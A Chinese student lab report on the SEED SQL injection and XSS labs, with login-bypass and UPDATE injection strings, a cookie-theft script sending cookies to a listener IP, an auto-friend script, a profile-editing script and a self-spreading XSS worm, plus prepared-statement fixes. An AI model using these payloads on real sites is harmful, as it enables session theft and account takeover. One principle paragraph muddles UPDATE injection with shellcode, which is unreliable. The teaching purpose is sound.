20242830 2024-2025-2 《网络攻防实践》第十周作业
20242830 2024-2025-2 《网络攻防实践》第十周作业
一、知识点梳理与总结
本次实验需要熟悉 SQL 语句 ,SQL(Structured Query Language)即结构化查询语言,用于与数据库进行交互。在本实验的 “Users” 数据库中,“creditential” 表包含员工的个人信息,如 eid、密码、薪水、ssn 等。通过学习 SELECT 语句可以查询指定条件的数据,例如 “SELECT * FROM creditential WHERE eid = 值” 可获取对应 eid 员工的信息;UPDATE 语句用于更新表中的数据,像 “UPDATE creditential SET 列名 = 值 WHERE eid = 条件” 可修改符合条件员工的特定信息。
跨站脚本攻击(XSS)是指攻击者将恶意脚本代码(通常是 JavaScript)注入到正常的网页中,当其他用户浏览该受感染的网页时,恶意脚本会在其浏览器中执行。这些脚本可以窃取用户信息(如 cookie、session 等)、冒充用户进行操作、篡改页面内容等。
1. 实验环境(因为自己电脑的VMware出现问题,换了一台电脑做实验,所以截图过程中用五角星代替学号标注)
-
运行环境:本次实验使用VirutalBox的seed虚拟机作为实验环境
-
kali:192.168.200.5
-
winxp:192.168.200.4
-
Metasploitable:192.168.200.123
-
win2000:192.168.200.124
2. 实验内容与原理
-
SQL 注入攻击原理:攻击者利用 Web 应用程序对用户输入未进行充分验证和过滤的漏洞,将恶意的 SQL 代码插入到输入框或请求参数中。当应用程序将这些输入直接拼接到 SQL 查询语句并执行时,恶意 SQL 代码就会改变查询逻辑,从而实现诸如绕过登录验证、非法篡改数据等恶意操作。例如,在登录界面,正常情况下应输入正确的用户名和密码进行验证,若存在注入漏洞,攻击者可输入类似 “' OR '1'='1” 的内容,使原本的查询语句变为 “SELECT * FROM creditential WHERE eid = '' OR '1'='1'”,从而绕过正常登录限制。
-
对 SELECT 语句的 SQL 注入攻击方式:在员工更新个人信息的界面,攻击者可构造恶意的 UPDATE 语句,如将他人信息的某些字段更新为特定值,实现篡改其他员工数据的目的。比如,输入 “password = '新密码' WHERE eid = '其他员工eid'”(实际需结合具体输入情况构造完整恶意语句),若被应用程序直接执行,就会修改对应员工的密码。
-
对 UPDATE 语句的 SQL 注入攻击方式:使用汇编语言编写代码,实现所需功能,通过漏洞(如缓冲区溢出)将 Shellcode 注入到目标程序的内存中。
-
SQL 注入对抗措施:从开发角度,应用程序应对用户输入进行严格验证,检查输入是否符合预期的格式、类型和长度等;使用参数化查询,将用户输入作为参数而非直接拼接到 SQL 语句中,这样即使输入包含特殊字符或恶意代码,数据库也能正确识别并处理,避免其改变原 SQL 语句的逻辑结构,从而有效防止 SQL 注入攻击。
| XSS的相关原理 | 定义 | 说明 |
|---|---|---|
| 发布恶意消息显示警报窗口的方式 | 在 Elgg 配置文件允许输入脚本的字段中,嵌入类似 “alert('警告信息')” 的代码 | 当其他用户查看该配置文件时,浏览器就会执行这段脚本,弹出警告窗口 |
| 弹窗显示 cookie 信息的实现 | 利用 JavaScript 的 document.cookie 属性获取用户的 cookie 信息,然后通过 alert() 函数将其显示出来 | 如 “alert(document.cookie);” |
| 窃取受害者 cookies 的方法 | 除了显示 cookie,还可以通过将 cookie 信息发送到攻击者控制的服务器来窃取 | 例如,使用 “var cookie = document.cookie; new Image().src = 'http://攻击者服务器地址/collect?data=' + cookie;”,这样受害者的 cookie 信息就会被发送到指定的攻击者服务器,攻击者可借此获取用户的会话信息等,进而冒充用户进行非法操作 |
| 成为受害者朋友的自动化操作 | 通过分析 Elgg 加好友的正常流程,利用 JavaScript 编写程序模拟该操作 | 获取加好友按钮的元素,通过脚本触发点击事件,从而无需受害者干预就能自动添加其为好友 |
| XSS 蠕虫的编写 | 基于上述攻击手段,构建一个在用户之间自动传播的脚本程序 | 当用户 A 被感染后,其页面中的恶意脚本会在其他用户查看 A 的页面时,自动将恶意脚本注入到其他用户的浏览器环境中,实现蠕虫式的传播 |
| 对抗 XSS 攻击的方法 | 在 Web 应用开发中,要对用户输入进行严格的过滤和编码 | 设置 HttpOnly 和 Secure 属性的 cookie,使 JavaScript 无法直接获取 cookie 信息,降低 cookie 被窃取的风险;采用内容安全策略(CSP),限制页面可加载的资源和可执行的脚本来源等,从而有效抵御 XSS 攻击 |
二、实验过程
1.任务一:SEED SQL注入攻击与防御实验
我们已经创建了一个Web应用程序,并将其托管在 www.SEEDLabSQLInjection.com。该Web应用程序是一个简单的员工管理应用程序。员工可以通过此Web应用程序查看和更新数据库中的个人信息。此Web应用程序主要有两个角色:管理员是特权角色,可以管理每个员工的个人资料信息。员工是一般角色,可以查看或更新自己的个人资料信息。完成以下任务:
1.1 熟悉SQL语句
sudo service apache2 start
sudo service apache2 status
-
我们已经创建了一个名为Users的数据库,其中包含一个名为creditential的表。该表存储了每个员工的个人信息(例如,eid,密码,薪水,ssn等),在此任务中,您需要使用数据库来熟悉SQL查询,使用命令,打开Ubuntu的apache2服务,并进行服务的状态查看
-
使用命令打开数据库并使用root进行登录
mysql -u root -pseedubuntu
mysql> use Users;
mysql> show tables;

- 切换到users权限,查看全部表,发现有Tables_in_Users和credential两张表

- 输入命令,可以查看所有人员的信息,其中包括姓名,生日,地址等重要信息
select * from credential;

- 下面查看Alice的信息,select from的意思就是从(数据库表)查询,where是接查询条件的关键字
select * from credential where Name='Alice';

我们还可以用以下几条语句对Alice进行查询:
select * from credential where ID=1;
select * from credential where EID=10000;

1.2 对SELECT语句的SQL注入攻击:上述Web应用存在SQL输入漏洞,任务是在不知道密码的情况下登陆该Web应用程序
在刚开始时,我们就已经运行了托管网站的Apache2服务器Apache Servert,下面访问网站http://www.SEEDLabSQLInjection.com

查看源码,可以看到前端提交表单数据到unsafe_home.php进行校验


vim /var/www/SQLInjection/unsafe_home.php
-
查看源码并分析unsafe_home.php


-
可以看到密码是被哈希加密过的,下面将75行的代码修改为
WHERE name= 'Admin'#' and Password='$hashed_pwd'"
这样就可以饶过密码验证。因为#后面的语句都被注释掉了
-
返回登录页面,输入用户名“Admin#”,密码不用输入,发现登陆成功


其实这样的做法需要修改源代码,在实际攻击中是不符合逻辑的,所以可以直接在用户名中输入命令Admin'#。'单引号是终止当前SQL语句,#是将后面的语句注释掉
1.3 对UPDATE语句的SQL注入攻击:通过员工的更新个人界面实施UPDATE语句的SQL注入攻击
-
点击“edit”选项,发现只能修改最基本的一些信息

-
查看代码,发现和第2个实验类似,故直接进行修改

-
在NickName项输入语句,后面的代码会被被注释掉,即直接执行set Salary='20242830' where name='Admin'代码:
',Salary='20242830'where name='Admin';#,


1.4 SQL对抗:修复上述SQL注入攻击漏洞
SQL注入能够成功的原因是因为源代码对SQL语句的数据和命令的判定并没有分开,而是混在一起使数据库无法分清楚。因此,使用php语言中的bind_param方法来绑定参数,并用"?"来代替参数,这样就能修复SQL注入攻击漏洞。
$sql = $conn->prepare("SELECT id, name, eid, salary, birth, ssn, phoneNumber, address, email,nickname,Password
FROM credential
WHERE name= ? and Password= ?");
$sql->bind_param("ss", $input_uname, $hashed_pwd);
已经成功修改

发现登录失败

2.任务二:SEED XSS跨站脚本攻击实验
为了演示攻击者可以利用XSS漏洞做什么,我们在预先构建的Ubuntu
VM映像中设置了一个名为Elgg的Web应用程序。在本实验中,学生需要利用此漏洞对经过修改的Elgg发起XSS攻击,攻击的最终目的是在用户之间传播XSS蠕虫,这样,无论是谁查看的受感染用户个人资料都将被感染。
- 访问Web 网站:http://www.xsslabelgg.com
22
| 用户名 | 密码 |
|---|---|
| Alice | seedalice |
| Boby | seedboby |
| Admin | seedelgg |
2.1发布恶意消息,显示警报窗口:在您的Elgg配置文件中嵌入一个JavaScript程序,以便当另一个用户查看您的配置文件时,将执行JavaScript程序并显示一个警报窗口

登录Alice的账号,点击Edit profile,在Brief description中编写XSS攻击代码

apt install gdb


点击save按钮,弹出提示框,证明攻击成功
<script>alert('xss');</script>

2.2 弹窗显示cookie信息:将cookie信息显示
和上一步操作类似,在Brief description中编写代码

<script>alert(document.cookie);</script>
保存后显示cookie信息

2.3 窃取受害者的cookies:将cookie发送给攻击者
-
首先查看本机的IP地址:172.16.212.16

-
写入恶意代码,escape函数表示对字符串进行编码;监听端口为500
<script>document.write('<img src=http://172.16.212.16:500?c='+escape(document.cookie) + ' >');</script>
-
在终端输入命令,监听端口,获取Cookie。保存后,随便点击网页上的选项,发现监听成功。
nc -l 500-v
2.4 成为受害者的朋友:使用js程序加受害者为朋友,无需受害者干预,使用相关的工具了解Elgg加好友的过程

-
按F12打开开发者工具,将Boby添加为好友,观察网络状态


-
通过查看response,发现添加好友有三个参数,分别为friend,_elgg_ts和_elgg_token,于是在Alice的About栏中添加如下代码。
<p><script type="text/javascript">window.onload = function () {
var Ajax = null;
var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts;
var token = "&__elgg_token=" + elgg.security.token.__elgg_token;
var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
Ajax = new XMLHttpRequest();
Ajax.open("GET", sendurl, true);
Ajax.setRequestHeader("Host", "www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send();
}</script></p>

- 切换账号,点击Alice主页,发现自动添加了Alice


2.5 修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改
<script type="text/javascript">
window.onload = function(){
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "name=" + userName + "&description=<p>20242830...</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>

切换账户,此时是未访问Alice之前的主页

访问Alice之后,发现被修改了

2.6 编写XSS蠕虫
继续修改Alice中的About me,使其可以具有传染性
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content= token + ts + "&name=" + userName + "&description=<p>test6.20242830"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}</script>
访问完Alice之后,Boby主页被修改

登录Admin,查看主页

访问Boby主页,发现Admin的主页也被修改了

2.7 对抗XSS攻击
登录Admin账户,点击右上角的Account->administration->plugins,将HTML awed修改为Deactive状态


此时查看Alice的主页,发现攻击代码以明文方式显示出来,同时自己的主页也没有任何变化

三、学习中遇到的问题及解决
-
问题1:在输入网址过后连不上内网,刷新也不能解决问题

-
问题1解决方案:主机防火墙没关,经过调整解决问题。
-
问题2:在使用2010版本的ubuntu的时候不能调用sql注入
-
问题2解决方案:在官网下载ubuntu 16.04版本即可使用。
四、学习感悟与思考
通过本次SEED SQL注入与防御实验,我深刻认识到网络安全在Web应用领域的重要性SQL注入攻击的隐蔽性和危害性让我警醒,一个小小的输入漏洞就可能使整个数据库面临被非法访问和篡改的风险,这也凸显了开发人员在编写代码时严格遵循安全规范、对用户输入进行充分验证的必要性。从攻击的角度去寻找漏洞,更让我体会到网络安全的攻防对抗特性,只有深入了解攻击原理和手段,才能更好地构建有效的防御体系,保障系统和数据的安全。
SEED XSS跨站脚本攻击实验让我对Web应用的安全防护有了更直观的感受。XSS攻击的多样性和灵活性令人咋舌,它利用用户的信任以及浏览器对脚本的执行权限,可实施多种恶意操作,从简单的弹窗到窃取用户关键信息、操控用户行为等。这让我在今后使用Web应用时会更加谨慎,也明白了作为开发和运维人员,要不断强化安全意识,采取多种技术手段防范XSS攻击,如输入过滤、编码输出、合理设置cookie属性、采用CSP等,以保护用户隐私和应用的正常运行。

浙公网安备 33010602011771号